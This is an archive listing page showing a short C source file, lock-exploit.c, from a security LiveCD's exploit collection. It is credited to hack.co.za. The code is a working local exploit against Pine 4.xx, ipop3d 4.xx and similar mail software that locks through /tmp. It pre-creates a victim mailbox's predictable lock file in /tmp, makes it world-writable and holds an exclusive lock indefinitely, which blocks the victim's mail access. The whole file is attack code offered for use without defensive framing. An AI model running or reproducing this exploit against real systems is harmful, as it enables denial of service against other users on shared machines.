home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / pine / lock-exploit.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  790b  |  28 lines

  1. // Pine 4.xx, ipop3d 4.xx and other /tmp-lock based mail stuff.
  2.  
  3. #include <sys/file.h>
  4. #include <sys/stat.h>
  5. #include <unistd.h>
  6.  
  7. main(int argc,char* argv[])
  8. {
  9.   int i,a=0;
  10.   char s[100];
  11.   struct stat x;
  12.   if (!argv[1]) exit(printf("Usage: %s account_name\n",argv[0]));
  13.   sprintf(s,"/var/spool/mail/%s",argv[1]);
  14.   if (stat(s,&x)) exit(printf("Mailbox (%s) not found.\n",s));
  15.   sprintf(s,"/tmp/.%x.%x",(int)x.st_dev,(int)x.st_ino);
  16.   fchmod(i=open(s,O_RDWR|O_CREAT,0600),0666);
  17.   while (1)
  18.     {
  19.       lseek(i,0,0);
  20.       write(i,"-1",2);
  21.       ftruncate(i,2);
  22.       fsync(i);
  23.       if (!a++) if (!flock(i,LOCK_EX)) printf("Got lock on %s.\n",s);
  24.         else printf("File %s already locked, wait...\n",s);
  25.       sleep(1);
  26.     }
  27. }
  28. /*                    www.hack.co.za              [2000]*/